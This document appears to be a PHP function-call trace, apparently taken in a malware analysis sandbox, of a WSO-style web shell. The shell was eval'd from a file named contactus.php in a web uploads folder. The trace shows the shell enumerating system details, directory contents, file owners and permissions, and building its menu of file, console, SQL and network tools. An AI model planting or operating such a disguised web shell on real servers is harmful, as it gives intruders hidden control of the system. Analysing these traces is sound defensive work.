4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	244	$i++
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	251	$charsets = [0 => 'UTF-8', 1 => 'Windows-1251', 2 => 'KOI8-R', 3 => 'KOI8-U', 4 => 'cp866']
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	252	$opt_charsets = ''
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	254	$opt_charsets .= '<option value="UTF-8" >UTF-8</option>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	254	$opt_charsets .= '<option value="Windows-1251" selected>Windows-1251</option>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	254	$opt_charsets .= '<option value="KOI8-R" >KOI8-R</option>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	254	$opt_charsets .= '<option value="KOI8-U" >KOI8-U</option>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	254	$opt_charsets .= '<option value="cp866" >cp866</option>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	256	$m = ['Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Mail Test' => 'MailTest', 'Console' => 'Console', 'Sql Interface' => 'Sql', 'Network' => 'Network']
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	259	$m['Self remove'] = 'SelfRemove'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	260	$menu = ''
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	261	$k = 'Sec. Info'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	262	$menu .= '<th width="14%">[ <a href="#" onclick="g(\'SecInfo\',null,\'\',\'\',\'\')">Sec. Info</a> ]</th>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	261	$k = 'Files'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	262	$menu .= '<th width="14%">[ <a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">Files</a> ]</th>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	261	$k = 'Mail Test'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	262	$menu .= '<th width="14%">[ <a href="#" onclick="g(\'MailTest\',null,\'\',\'\',\'\')">Mail Test</a> ]</th>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	261	$k = 'Console'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	262	$menu .= '<th width="14%">[ <a href="#" onclick="g(\'Console\',null,\'\',\'\',\'\')">Console</a> ]</th>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	261	$k = 'Sql Interface'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	262	$menu .= '<th width="14%">[ <a href="#" onclick="g(\'Sql\',null,\'\',\'\',\'\')">Sql Interface</a> ]</th>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	261	$k = 'Network'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	262	$menu .= '<th width="14%">[ <a href="#" onclick="g(\'Network\',null,\'\',\'\',\'\')">Network</a> ]</th>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	261	$k = 'Self remove'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	262	$menu .= '<th width="14%">[ <a href="#" onclick="g(\'SelfRemove\',null,\'\',\'\',\'\')">Self remove</a> ]</th>'
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	264	$drives = ''
5	54	0	0.010339	1031752	php_uname	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	271	0
5	54	1	0.010353	1031864
5	54	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	55	0	0.010372	1031864	substr	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	271	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
5	55	1	0.010391	1031960
5	55	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	56	0	0.010410	1031880	phpversion	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	271	0
5	56	1	0.010423	1031944
5	56	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
5	57	0	0.010439	1032072	date	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	272	1	'Y-m-d H:i:s'
5	57	1	0.010496	1034424
5	57	R			'2023-02-12 17:50:19'
5	58	0	0.010515	1034264	wsoViewSize	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	272	1	232015802368
6	59	0	0.010535	1034264	sprintf	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	335	2	'%1.2f'	216.08155441284
6	59	1	0.010551	1034648
6	59	R			'216.08'
5	58	1	0.010565	1034304
5	58	R			'216.08 GB'
5	60	0	0.010578	1034264	wsoViewSize	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	272	1	206255439872
6	61	0	0.010596	1034264	sprintf	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	335	2	'%1.2f'	192.09034729004
6	61	1	0.010647	1034648
6	61	R			'192.09'
5	60	1	0.010664	1034304
5	60	R			'192.09 GB'
5	62	0	0.010680	1034520	wsoPermsColor	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	272	1	'/var/www/html/uploads/'
6	63	0	0.010695	1034520	is_readable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	366	1	'/var/www/html/uploads/'
6	63	1	0.010714	1034560
6	63	R			TRUE
6	64	0	0.010727	1034520	is_writable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	368	1	'/var/www/html/uploads/'
6	64	1	0.010743	1034560
6	64	R			TRUE
6	65	0	0.010756	1034520	fileperms	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	371	1	'/var/www/html/uploads/'
6	65	1	0.010772	1034584
6	65	R			16895
6	66	0	0.010785	1034544	wsoPerms	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	371	1	16895
6		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	349	$i = 'd'
6		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	353	$i .= 'r'
6		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	354	$i .= 'w'
6		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	355	$i .= 'x'
6		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	356	$i .= 'r'
6		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	357	$i .= 'w'
6		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	358	$i .= 'x'
6		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	359	$i .= 'r'
6		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	360	$i .= 'w'
6		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	361	$i .= 'x'
6	66	1	0.010911	1034584
6	66	R			'drwxrwxrwx'
5	62	1	0.010926	1034608
5	62	R			'<font color=#25ff00>drwxrwxrwx</font>'
4	33	1	0.010945	1031360
4	67	0	0.010953	1031360	wsoScandir	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	636	1	'/var/www/html/uploads/'
5	68	0	0.010967	1031360	function_exists	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	375	1	'scandir'
5	68	1	0.010981	1031400
5	68	R			TRUE
5	69	0	0.010994	1031360	scandir	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	376	1	'/var/www/html/uploads/'
5	69	1	0.011025	1031984
5	69	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'contactus.php', 4 => 'data', 5 => 'prepend.php']
4	67	1	0.011047	1031952
4	67	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'contactus.php', 4 => 'data', 5 => 'prepend.php']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	636	$dirContent = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'contactus.php', 4 => 'data', 5 => 'prepend.php']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	639	$sort = [0 => 'name', 1 => 1]
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	653	$files = []
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	653	$dirs = []
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	654	$n = 6
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	655	$i = 0
4	70	0	0.011143	1031976	fileowner	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	656	1	'.'
4	70	1	0.011159	1032000
4	70	R			0
4	71	0	0.011172	1031960	posix_getpwuid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	656	1	0
4	71	1	0.011198	1032760
4	71	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	656	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	72	0	0.011240	1032728	filegroup	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	657	1	'.'
4	72	1	0.011253	1032768
4	72	R			0
4	73	0	0.011266	1032728	posix_getgrgid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	657	1	0
4	73	1	0.011295	1033384
4	73	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	657	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	74	0	0.011332	1033824	filemtime	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	660	1	'/var/www/html/uploads/.'
4	74	1	0.011348	1033880
4	74	R			1676242219
4	75	0	0.011361	1033792	date	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	660	2	'Y-m-d H:i:s'	1676242219
4	75	1	0.011393	1034120
4	75	R			'2023-02-12 17:50:19'
4	76	0	0.011408	1034096	wsoPermsColor	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	661	1	'/var/www/html/uploads/.'
5	77	0	0.011422	1034096	is_readable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	366	1	'/var/www/html/uploads/.'
5	77	1	0.011439	1034136
5	77	R			TRUE
5	78	0	0.011452	1034096	is_writable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	368	1	'/var/www/html/uploads/.'
5	78	1	0.011468	1034136
5	78	R			TRUE
5	79	0	0.011481	1034096	fileperms	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	371	1	'/var/www/html/uploads/.'
5	79	1	0.011495	1034136
5	79	R			16895
5	80	0	0.011507	1034096	wsoPerms	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	371	1	16895
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	349	$i = 'd'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	353	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	354	$i .= 'w'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	355	$i .= 'x'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	356	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	357	$i .= 'w'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	358	$i .= 'x'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	359	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	360	$i .= 'w'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	361	$i .= 'x'
5	80	1	0.011625	1034136
5	80	R			'drwxrwxrwx'
4	76	1	0.011640	1034160
4	76	R			'<font color=#25ff00>drwxrwxrwx</font>'
4	81	0	0.011656	1034160	filesize	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	662	1	'/var/www/html/uploads/.'
4	81	1	0.011670	1034200
4	81	R			4096
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	664	$tmp = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	82	0	0.011706	1034160	is_file	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	666	1	'/var/www/html/uploads/.'
4	82	1	0.011721	1034200
4	82	R			FALSE
4	83	0	0.011734	1034160	is_link	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	668	1	'/var/www/html/uploads/.'
4	83	1	0.011750	1034224
4	83	R			FALSE
4	84	0	0.011763	1034184	is_dir	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	670	1	'/var/www/html/uploads/.'
4	84	1	0.011777	1034224
4	84	R			TRUE
4	85	0	0.011790	1034136	array_merge	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	671	2	['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
4	85	1	0.011814	1034576
4	85	R			['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	671	$dirs[] = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	655	$i++
4	86	0	0.011873	1034888	fileowner	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	656	1	'..'
4	86	1	0.011889	1034912
4	86	R			0
4	87	0	0.011902	1034872	posix_getpwuid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	656	1	0
4	87	1	0.011925	1035672
4	87	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	656	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	88	0	0.011971	1034904	filegroup	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	657	1	'..'
4	88	1	0.011985	1034944
4	88	R			0
4	89	0	0.011997	1034904	posix_getgrgid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	657	1	0
4	89	1	0.012020	1035560
4	89	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	657	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	90	0	0.012056	1035424	filemtime	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	660	1	'/var/www/html/uploads/..'
4	90	1	0.012072	1035488
4	90	R			1676242219
4	91	0	0.012086	1035392	date	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	660	2	'Y-m-d H:i:s'	1676242219
4	91	1	0.012117	1035720
4	91	R			'2023-02-12 17:50:19'
4	92	0	0.012132	1035704	wsoPermsColor	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	661	1	'/var/www/html/uploads/..'
5	93	0	0.012146	1035704	is_readable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	366	1	'/var/www/html/uploads/..'
5	93	1	0.012163	1035744
5	93	R			TRUE
5	94	0	0.012177	1035704	is_writable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	368	1	'/var/www/html/uploads/..'
5	94	1	0.012192	1035744
5	94	R			TRUE
5	95	0	0.012205	1035704	fileperms	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	371	1	'/var/www/html/uploads/..'
5	95	1	0.012219	1035744
5	95	R			16895
5	96	0	0.012231	1035704	wsoPerms	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	371	1	16895
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	349	$i = 'd'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	353	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	354	$i .= 'w'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	355	$i .= 'x'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	356	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	357	$i .= 'w'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	358	$i .= 'x'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	359	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	360	$i .= 'w'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	361	$i .= 'x'
5	96	1	0.012349	1035744
5	96	R			'drwxrwxrwx'
4	92	1	0.012363	1035768
4	92	R			'<font color=#25ff00>drwxrwxrwx</font>'
4	97	0	0.012380	1035768	filesize	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	662	1	'/var/www/html/uploads/..'
4	97	1	0.012394	1035808
4	97	R			4096
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	664	$tmp = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	98	0	0.012430	1035392	is_file	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	666	1	'/var/www/html/uploads/..'
4	98	1	0.012444	1035432
4	98	R			FALSE
4	99	0	0.012458	1035392	is_link	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	668	1	'/var/www/html/uploads/..'
4	99	1	0.012474	1035440
4	99	R			FALSE
4	100	0	0.012487	1035400	is_dir	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	670	1	'/var/www/html/uploads/..'
4	100	1	0.012501	1035440
4	100	R			TRUE
4	101	0	0.012514	1035344	array_merge	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	671	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
4	101	1	0.012538	1035784
4	101	R			['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	671	$dirs[] = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	655	$i++
4	102	0	0.012597	1035720	fileowner	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	656	1	'.htaccess'
4	102	1	0.012617	1035744
4	102	R			0
4	103	0	0.012630	1035704	posix_getpwuid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	656	1	0
4	103	1	0.012654	1036504
4	103	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	656	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	104	0	0.012696	1035736	filegroup	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	657	1	'.htaccess'
4	104	1	0.012710	1035776
4	104	R			0
4	105	0	0.012723	1035736	posix_getgrgid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	657	1	0
4	105	1	0.012745	1036392
4	105	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	657	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	106	0	0.012781	1036256	filemtime	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	660	1	'/var/www/html/uploads/.htaccess'
4	106	1	0.012797	1036312
4	106	R			1676242219
4	107	0	0.012811	1036216	date	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	660	2	'Y-m-d H:i:s'	1676242219
4	107	1	0.012843	1036544
4	107	R			'2023-02-12 17:50:19'
4	108	0	0.012858	1036528	wsoPermsColor	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	661	1	'/var/www/html/uploads/.htaccess'
5	109	0	0.012872	1036528	is_readable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	366	1	'/var/www/html/uploads/.htaccess'
5	109	1	0.012889	1036568
5	109	R			TRUE
5	110	0	0.012902	1036528	is_writable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	368	1	'/var/www/html/uploads/.htaccess'
5	110	1	0.012919	1036568
5	110	R			FALSE
5	111	0	0.012932	1036528	fileperms	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	369	1	'/var/www/html/uploads/.htaccess'
5	111	1	0.012946	1036568
5	111	R			33188
5	112	0	0.012959	1036528	wsoPerms	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	369	1	33188
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	347	$i = '-'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	353	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	354	$i .= 'w'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	355	$i .= '-'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	356	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	357	$i .= '-'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	358	$i .= '-'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	359	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	360	$i .= '-'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	361	$i .= '-'
5	112	1	0.013076	1036568
5	112	R			'-rw-r--r--'
4	108	1	0.013090	1036592
4	108	R			'<font color=white>-rw-r--r--</font>'
4	113	0	0.013107	1036592	filesize	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	662	1	'/var/www/html/uploads/.htaccess'
4	113	1	0.013121	1036632
4	113	R			64
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	664	$tmp = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']
4	114	0	0.013157	1036216	is_file	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	666	1	'/var/www/html/uploads/.htaccess'
4	114	1	0.013171	1036256
4	114	R			TRUE
4	115	0	0.013184	1036160	array_merge	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	667	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
4	115	1	0.013207	1036600
4	115	R			['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	667	$files[] = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	655	$i++
4	116	0	0.013268	1036912	fileowner	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	656	1	'contactus.php'
4	116	1	0.013284	1036936
4	116	R			1000
4	117	0	0.013297	1036896	posix_getpwuid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	656	1	1000
4	117	1	0.013329	1037712
4	117	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	656	$ow = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4	118	0	0.013372	1036944	filegroup	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	657	1	'contactus.php'
4	118	1	0.013386	1036984
4	118	R			1000
4	119	0	0.013399	1036944	posix_getgrgid	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	657	1	1000
4	119	1	0.013431	1037600
4	119	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	657	$gr = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4	120	0	0.013468	1037480	filemtime	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	660	1	'/var/www/html/uploads/contactus.php'
4	120	1	0.013484	1037544
4	120	R			1676242219
4	121	0	0.013497	1037440	date	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	660	2	'Y-m-d H:i:s'	1676242219
4	121	1	0.013529	1037768
4	121	R			'2023-02-12 17:50:19'
4	122	0	0.013544	1037760	wsoPermsColor	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	661	1	'/var/www/html/uploads/contactus.php'
5	123	0	0.013558	1037760	is_readable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	366	1	'/var/www/html/uploads/contactus.php'
5	123	1	0.013574	1037800
5	123	R			TRUE
5	124	0	0.013587	1037760	is_writable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	368	1	'/var/www/html/uploads/contactus.php'
5	124	1	0.013603	1037800
5	124	R			FALSE
5	125	0	0.013617	1037760	fileperms	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	369	1	'/var/www/html/uploads/contactus.php'
5	125	1	0.013630	1037800
5	125	R			33204
5	126	0	0.013643	1037760	wsoPerms	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	369	1	33204
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	347	$i = '-'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	353	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	354	$i .= 'w'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	355	$i .= '-'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	356	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	357	$i .= 'w'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	358	$i .= '-'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	359	$i .= 'r'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	360	$i .= '-'
5		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	361	$i .= '-'
5	126	1	0.013761	1037800
5	126	R			'-rw-rw-r--'
4	122	1	0.013775	1037824
4	122	R			'<font color=white>-rw-rw-r--</font>'
4	127	0	0.013791	1037824	filesize	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	662	1	'/var/www/html/uploads/contactus.php'
4	127	1	0.013805	1037864
4	127	R			23689
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	664	$tmp = ['name' => 'contactus.php', 'path' => '/var/www/html/uploads/contactus.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes']
4	128	0	0.013841	1037448	is_file	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	666	1	'/var/www/html/uploads/contactus.php'
4	128	1	0.013855	1037488
4	128	R			TRUE
4	129	0	0.013868	1037384	array_merge	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	667	2	['name' => 'contactus.php', 'path' => '/var/www/html/uploads/contactus.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes']	['type' => 'file']
4	129	1	0.013891	1037824
4	129	R			['name' => 'contactus.php', 'path' => '/var/www/html/uploads/contactus.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	667	$files[] = ['name' => 'contactus.php', 'path' => '/var/www/html/uploads/contactus.php', 'modify' => '2023-02-12 17:50:19', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	655	$i++
